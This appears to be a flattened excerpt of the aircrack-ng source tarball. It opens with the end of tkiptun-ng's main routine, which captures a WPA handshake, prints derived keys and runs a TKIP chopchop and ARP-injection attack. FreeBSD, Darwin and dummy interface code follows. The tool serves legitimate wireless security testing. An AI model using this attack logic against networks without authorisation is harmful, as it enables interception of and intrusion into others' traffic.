opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.f_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.wpa.stmac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'Z' : opt.fast = 0; break; case 'H' : printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'K' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( sscanf( buf, "%x", &n ) == 1 ) { if ( n < 0 || n > 255 ) { printf( "Invalid keystream.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.oldkeystream[opt.oldkeystreamlen] = n ; opt.oldkeystreamlen++; if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'P' : memset( opt.pmk, 0, sizeof( opt.pmk ) ); i = hexStringToHex(optarg, strlen(optarg), opt.pmk); opt.got_pmk = 1; break; case 'p' : memset( opt.psk, 0, sizeof( opt.psk ) ); if( strlen(optarg) < 8 || strlen(optarg) > 63) { printf("PSK with invalid length specified [8-64].\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 ); opt.got_psk = 1; break; case 'M' : ret = sscanf( optarg, "%d", &opt.mic_failure_interval ); if( opt.mic_failure_interval < 0 ) { printf( "Invalid MIC error timeout. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( !opt.r_smac_set ) { printf( "A Client MAC must be specified (-h).\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { opt.r_nbpps = 10; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } /* DO MICHAEL TEST */ memset(buf, 0, 128); memcpy(buf, "M", 1); i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f"); PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed"); /* END MICHAEL TEST*/ if(getnet(NULL, 0, 0) != 0) return 1; PCT; printf("Found specified AP\n"); got_hdsk=0; while(1) { getHDSK(); for(i=0; i<10; i++) { read_sleep(500000); if(opt.wpa.state == 7) { got_hdsk = 1; break; } } if(got_hdsk) break; } if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1) { calc_pmk(opt.psk, opt.r_essid, opt.pmk); PCT; printf("PSK: %s\n", opt.psk); PCT; printf("PMK: "); for(i=0; i<31; i++) printf("%02X:", opt.pmk[i]); printf("%02X\n", opt.pmk[31]); opt.got_pmk = 1; } if(opt.got_pmk) { opt.wpa_sta.next = NULL; memcpy(opt.wpa_sta.stmac, opt.r_smac, 6); memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6); memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32); memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32); memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20); memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256); opt.wpa_sta.eapol_size = opt.wpa.eapol_size; opt.wpa_sta.keyver = opt.wpa.keyver; opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk ); PCT; printf("PTK: "); for(i=0; i<79; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[79]); PCT; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" ); if(opt.wpa_sta.valid_ptk) opt.got_ptk = 1; PCT; printf("KCK: "); for(i=0; i<15; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[15]); PCT; printf("KEK: "); for(i=16; i<31; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[31]); PCT; printf("Temporal Encryption Key (TK1): "); for(i=32; i<47; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[47]); PCT; printf("Michael Key (FromDS): "); for(i=48; i<55; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[55]); PCT; printf("Michael Key (ToDS): "); for(i=56; i<63; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[63]); } /* Select ToDS ARP from Client */ PCT; printf("Waiting for an ARP packet coming from the Client...\n"); opt.f_tods = 1; opt.f_fromds = 0; memcpy(opt.f_smac, opt.r_smac, 6); // memcpy(opt.f_dmac, opt.f_bssid, 6); if(opt.fast == -1) opt.fast = 1; if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 80; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet2, h80211, caplen); packet2_len = caplen; /* Select FromDS ARP to Client */ PCT; printf("Waiting for an ARP response packet coming from the AP...\n"); opt.f_tods = 0; opt.f_fromds = 1; memcpy(opt.f_dmac, opt.r_smac, 6); memcpy(opt.f_smac, NULL_MAC, 6); if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 98; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet1, h80211, caplen); packet1_len = caplen; PCT; printf("Got the answer!\n"); PCT; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n"); read_sleep(10*1000000); memcpy(h80211, packet1, packet1_len); /* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */ if (do_attack_tkipchop(h80211, caplen) == 1) return( 1 ); /* derive IPs and MACs; relays on QoS, ARP and fromDS packet */ if(opt.chopped_from_plain != NULL) { memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4); memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4); memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6); } PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5], opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]); PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5], opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]); /* Send an ARP Request from the AP to the Client */ build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211 send_packet(h80211, caplen); PCT; printf("Sent encrypted tkip ARP request to the client.\n"); /* wait until we can generate a new mic failure */ PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval); while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211, packet2, packet2_len); do_attack_tkipchop(h80211, caplen); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-beta3/src/osdep/0000755000000000000000000000000012316431261015127 5ustar rootrootaircrack-ng-1.2-beta3/src/osdep/freebsd.c0000644000000000000000000003261511637452102016716 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct priv_fbsd { /* iface */ int pf_fd; /* rx */ int pf_nocrc; /* tx */ unsigned char pf_buf[4096]; unsigned char *pf_next; int pf_totlen; struct ieee80211_bpf_params pf_txparams; /* setchan */ int pf_s; struct ifreq pf_ifr; struct ieee80211req pf_ireq; int pf_chan; }; /* from ifconfig */ static __inline int mapgsm(u_int freq, u_int flags) { freq *= 10; if (flags & IEEE80211_CHAN_QUARTER) freq += 5; else if (flags & IEEE80211_CHAN_HALF) freq += 10; else freq += 20; /* NB: there is no 907/20 wide but leave room */ return (freq - 906*10) / 5; } static __inline int mappsb(u_int freq) { return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5; } /* * Convert MHz frequency to IEEE channel number. */ static u_int ieee80211_mhz2ieee(u_int freq, u_int flags) { if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922)) return mapgsm(freq, flags); if (freq == 2484) return 14; if (freq < 2484) return (freq - 2407) / 5; if (freq < 5000) { if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER)) return mappsb(freq); else if (freq > 4900) return (freq - 4000) / 5; else return 15 + ((freq - 2512) / 20); } return (freq - 5000) / 5; } /* end of ifconfig */ static void get_radiotap_info(struct priv_fbsd *pf, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { uint16_t *p = (uint16_t*) body; int c = ieee80211_mhz2ieee(*p, *(p+1)); ri->ri_channel = c; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pf->pf_nocrc = 1; } } static unsigned char *get_80211(struct priv_fbsd *pf, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pf->pf_next; totlen = &pf->pf_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pf, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int fbsd_get_channel(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1; return pf->pf_ireq.i_val; } static int fbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_fbsd *pf = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pf->pf_totlen == 0) { pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf)); if (pf->pf_totlen == -1) { pf->pf_totlen = 0; return -1; } pf->pf_next = pf->pf_buf; } /* read 802.11 packet */ wh = get_80211(pf, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int fbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct iovec iov[2]; struct priv_fbsd *pf = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} iov[0].iov_base = &pf->pf_txparams; iov[0].iov_len = pf->pf_txparams.ibp_len; iov[1].iov_base = h80211; iov[1].iov_len = len; rc = writev(pf->pf_fd, iov, 2); if (rc == -1) return rc; if (rc < (int) iov[0].iov_len) return 0; return rc - iov[0].iov_len; } static int fbsd_set_channel(struct wif *wi, int chan) { struct priv_fbsd *pf = wi_priv(wi); pf->pf_ireq.i_val = chan; if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 ) return -1; pf->pf_chan = chan; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void fbsd_close(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); close(pf->pf_fd); close(pf->pf_s); do_free(wi); } static int do_fbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_fbsd *pf = wi_priv(wi); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pf->pf_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP | IFF_PPROMISC; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strcpy(ifmr.ifm_name, iface); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strcpy(pf->pf_ireq.i_name, iface); pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL; /* same for ifreq [mac addr] */ strcpy(pf->pf_ifr.ifr_name, iface); /* open bpf */ for(i = 0; i < 256; i++) { sprintf(buf, "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; strcpy(ifr.ifr_name, iface); if(ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int fbsd_fd(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); return pf->pf_fd; } static int fbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int fbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int fbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq *ifr = &priv->pf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr); } static struct wif *fbsd_open(char *iface) { struct wif *wi; struct priv_fbsd *pf; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = fbsd_read; wi->wi_write = fbsd_write; wi->wi_set_channel = fbsd_set_channel; wi->wi_get_channel = fbsd_get_channel; wi->wi_close = fbsd_close; wi->wi_fd = fbsd_fd; wi->wi_get_mac = fbsd_get_mac; wi->wi_set_mac = fbsd_set_mac; wi->wi_get_rate = fbsd_get_rate; wi->wi_set_rate = fbsd_set_rate; wi->wi_get_monitor = fbsd_get_monitor; /* setup iface */ fd = do_fbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pf = wi_priv(wi); pf->pf_fd = fd; pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION; pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6; pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */ pf->pf_txparams.ibp_try1 = 1; /* no retransmits */ pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK; pf->pf_txparams.ibp_power = 100; /* nominal max */ pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */ return wi; } struct wif *wi_open_osdep(char *iface) { return fbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) int value; size_t len; len = 4; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.2-beta3/src/osdep/dummy.c0000644000000000000000000000222510761053203016425 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.2-beta3/src/osdep/darwin.c0000644000000000000000000000231111321204141016542 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd.c by Andrea Bittau * * OS dependent API for Darwin. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.2-beta3/src/osdep/cygwin_tap.c0000644000000000000000000003046512227146143017452 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include 